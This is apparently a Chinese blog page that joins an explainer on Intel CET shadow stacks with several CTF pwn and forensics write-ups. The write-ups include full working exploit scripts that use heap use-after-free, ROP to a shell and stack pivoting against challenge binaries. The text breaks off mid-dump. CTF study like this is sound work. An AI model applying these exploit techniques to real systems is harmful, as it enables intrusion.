包含关键字 C 的文章

本文已过时,建议转至 Intel CET 与虚函数表劫持与 COOP 攻击

前言

以前逆向程序的时候一直好奇 Linux 环境下编译的 C 程序每个函数开头的汇编指令 endbr64 有什么用。查阅 Intel 编程手册,其中对这个指令的描述是:

Terminate an Indirect Branch in 64-bit Mode

呃,啥?

经过一些搜索后发现这个竟然是一种新型的针对 ROP 的保护机制,作为 pwner 这下不得不了解了。

Intel CET

Intel CET(Control Flow Enforcement Technology / 控制流加固技术)是近年刚兴起的技术,其中包含 Shadow Stack(SHSTK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake CPU 及以上才支持。下面是我个人对这两个技术粗略不严谨的理解:

Shadow Stack 是程序运行时在不同虚拟内存段中同时维护两个调用栈,其中一个是“影子栈”,只存储返回地址。CPU 在函数调用与返回过程将同时操作两个栈,如果在函数返回时发现正常调用栈的返回地址与影子栈中的不同就产生段错误。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,几乎所有 ROP / JOP 也都将失效。

Indirect Branch Tracking 是 CPU 每当执行长跳转时都检查自己下一个指令是否为 endbr64 / 32,如果是就不执行任何操作(类似 nop),如果不是就产生段错误。(实际实现是 CPU 内部维护一个状态机)

目前 Windows 只支持 Shadow Stack(Windows CFG,类似 Intel CET),还不支持 endbr 标记的 IBT;Linux 上也几乎没有支持,算是高度实验性的功能。接下来是在 Linux 上实验启用 CET 的具体操作,主要看 Shadow Stack

验证 Intel CET 是否可用

首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

验证当前程序(cat)运行时是否已启用 Shadow Stack:(通常不会启用)

$ cat /proc/self/status | grep shstk
$ cat /proc/<pid>/status | grep shstk # pid 为 <pid> 的程序是否启用 Shadow Stack

GCC / glibc 环境启用 Intel CET SHSTK / IBT

我的环境:

System: Archlinux
Kernel: 6.11.6-zen1-1-zen
glibc: GNU C Library (GNU libc) stable release version 2.40

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK

[!NOTE]

将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个超大的内存段,这就是 Shadow Stack。断点一个 libc 调用层级较深的函数,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈)。

CET 默认不启用确实有道理,在我自己电脑上测试,全局设置环境变量(on)后连 gdb 都打不开了... 整个系统也变得极不稳定。

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld:

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    puts("hello, world!");
    DISABLE_SHSTK
    return 0;
}

SHSTK 内核底层实现

SHSTK 的 arch_prctl 最后会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。这里没什么好分析的,因为 SHSTK 本身由硬件实现,内核只负责检查传入参数、管理 shadow stack 内存页、设置相关寄存器等。

在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACK,这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发段错误。Shadow stack 调用栈指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会其相邻内存,且一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到非法内存区。

SHSTK 启用后的攻击思路

Shadow Stack 启用后,传统的 ROP 等技术失效,但并非无法做到类似链式 gadgets 的任意代码执行。可以采用一种叫“伪面向对象编程”(Counterfeit Object-Oriented Programming / COOP)的新技术,其基本思路是在类似 C++ 的面向对象语言中通过修改虚函数表为 vfgadgets 来达到类似 ROP 的效果。vfgadget 分为 Main Loop Gadget(将其他 gadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)、Collector Gadget(存储 Invoker 的返回值)。

img

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

COOP 详解:https://www.offsec.com/blog/bypassing-intel-cet-with-counterfeit-objects/

实际用了下,只有在较大型的程序里可能凑齐 vfgadgets,不容易实现攻击。

vm

通过 read_vm 函数还原出 main 函数以及 VM 结构体:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  initit();
  vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
  vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
  stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
  read_vm((struct vm *)&vmdata);
  execute((vm *)&vmdata);
}
00000000 struct vm // sizeof=0x58
00000000 {
00000000     char *vmdata;
00000008     char *pc;
00000010     uint64_t *regs[6];
00000040     char *stack;
00000048     __int64 base;
00000050     __int64 field_50;
00000058 };

其中 regsstackbase 字段在 execute 内部逆向过程中得出。

进入 execute 中的 decode 可以看出指令由指令最低 2 位分为四种:11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址,每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。

__int64 __fastcall decode(struct vm *vm, char *reading_code)
{
  char *vmcode0; // rax
  int low2; // eax
  char *pc; // rax
  char *_opcode1; // rax
  __int64 result; // rax
  char *__code1; // rax
  char *_code2; // rax
  char *vmcode1; // rax
  unsigned __int8 v10; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]

  vmcode0 = vm->pc;
  vm->pc = vmcode0 + 1;
  *reading_code = *vmcode0;
  reading_code[1] = *reading_code & 3;
  low2 = (unsigned __int8)reading_code[1];
  if ( low2 == 3 )
  {
    vmcode1 = vm->pc;
    vm->pc = vmcode1 + 1;
    *((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1;
    if ( check_reg(*((_DWORD *)reading_code + 1)) )
      return 0xFFFFFFFFLL;
    *((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc;
    vm->pc += 8;
  }
  else if ( (unsigned __int8)reading_code[1] <= 3u )
  {
    if ( low2 == 2 )                            // 2
    {
      __code1 = vm->pc;
      vm->pc = __code1 + 1;
      *((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1;
      _code2 = vm->pc;
      vm->pc = _code2 + 1;
      *((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2;
      if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) )
        return 0xFFFFFFFFLL;
    }
    else if ( reading_code[1] )                 // 1
    {
      _opcode1 = vm->pc;
      vm->pc = _opcode1 + 1;
      v10 = *_opcode1;
      if ( check_reg((unsigned __int8)*_opcode1) )
        return 0xFFFFFFFFLL;
      *((_DWORD *)reading_code + 1) = v10;
    }
    else                                        // 0
    {
      for ( i = 0; i <= 2; ++i )
      {
        *((_DWORD *)reading_code + 1) <<= 8;
        pc = vm->pc;
        vm->pc = pc + 1;
        *((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc;
      }
    }
  }
  result = (unsigned __int8)*reading_code;
  if ( !(_BYTE)result )
    return 0xFFFFFFFFLL;
  return result;
}
void __fastcall __noreturn execute(vm *vm)
{
  int M; // eax
  _BYTE *code; // [rsp+18h] [rbp-8h]

  code = malloc(12uLL);
  memset(code, 0, 8uLL);
  do
  {
    if ( (unsigned int)decode(vm, code) == -1 )
      break;
    M = *code & 3;
    if ( M == 3 )                               // imm
    {
      imm(vm, code);
    }
    else if ( (*code & 3u) <= 3 )
    {
      if ( M == 2 )                             // 2
      {
        two((__int64)vm, (__int64)code);
      }
      else if ( (*code & 3) != 0 )              // 1
      {
        one(vm, (__int64)code);
      }
      else                                      // 3*1
      {
        three((__int64)vm, (__int64)code);
      }
    }
    memset(code, 0, 0xCuLL);
    if ( vm->pc <= (char *)0x7062FFF )
      break;
  }
  while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL );
  puts("Segment error");
  _exit(0);
}

然后可以照着 ROM vmcode 文件辅助分析,可以抄录 vmcode 如下:

load %0, $1     ; stdout
load %1, $0     ; vmdata + 0
load %2, $0x1b  ; length
syscall 0, 0, 1 ; SYS_write
???
pop %0          ; clear %0
pop %1          ; clear %1
add %1, $0x200  ; vmdata + 0x200
xor %0, %0      ; stdin
load %2, $0x300 ; length
syscall 0, 0, 0 ; SYS_read
jmp %1;         ; jump to vmcode + 0x300

各种指令最关键的是 VM syscall,有 read、write、exit、create、delete、load(从 vmdata 写入堆)、put(从堆写入 vmdata)。

void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4)
{
  switch ( (int)a1 )
  {
    case 0:
      if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL)
        && ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) )
      {
        insecure(a1, a2);
      }
      read(a2, a3, a4);
      break;
    case 1:
      if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL )
        insecure(a1, a2);
      write(a2, a3, a4);
      break;
    case 2:
      exit(a2);
    case 3:
      create(a2);
      break;
    case 4:
      delete(a2);
      break;
    case 5:
      load(a2, (unsigned int)a3, a4);
      break;
    case 6:
      put(a2, (unsigned int)a3, a4);
      break;
    default:
      return;
  }
}

其中 create、delete 为堆操作,add 限制 16 个, delete 有 UAF 漏洞。

__int64 __fastcall create(unsigned int size)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; chunks[i] && i <= 15; ++i )
    ;
  if ( i == 16 )
    return 0LL;
  chunks[i] = malloc(size);
  if ( !chunks[i] )
    return 0LL;
  sizes[i] = size;
  return 1LL;
}
void __fastcall delete(unsigned int idx)
{
  if ( idx <= 0xF )
  {
    if ( chunks[idx] )
      free((void *)chunks[idx]);                // UAF
  }
}

然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode,依葫芦画瓢写出堆操作模板。

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

unsorted bin chunk leak libc_base,tcache bin chunk leak heap_base。利用 UAF 修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)getshell。

d995597d-d16e-461f-9c8c-493287f656e2

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vm'

io = process('./vm')
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io)
'b *$rebase(0x1599)\n'
'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', file.read()[4:])

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])

libc.address = u64(io.recv(8)) - 2206944
print(f'libc_base: {hex(libc.address)}')

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
heap_base = u64(io.recv(8))
print(f'heap_base: {hex(heap_base)}')
print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}')

fake_file_offset = 0x7063aa8
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000)
payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0)

io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload)

hos.bomb(io)

io.interactive()

5G消息_TLS

根据题目标题和流量内容,用 Wireshark 分析电话/SIP 流,其中第一条短信是:

Alice, I am Bob. I stole the sslkeylog file, this is crazy.

接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到:

SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405

将它保存为文件,在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片,内容即为 flag:

abcdef1234567890deadbeefc0ffeeba

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()

SuperHeap

go 套壳的普通 libc 2.35 heap。go 主函数逻辑在 main_main,可以看到有 seccomp 沙箱,用 seccomp-tools 查看:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
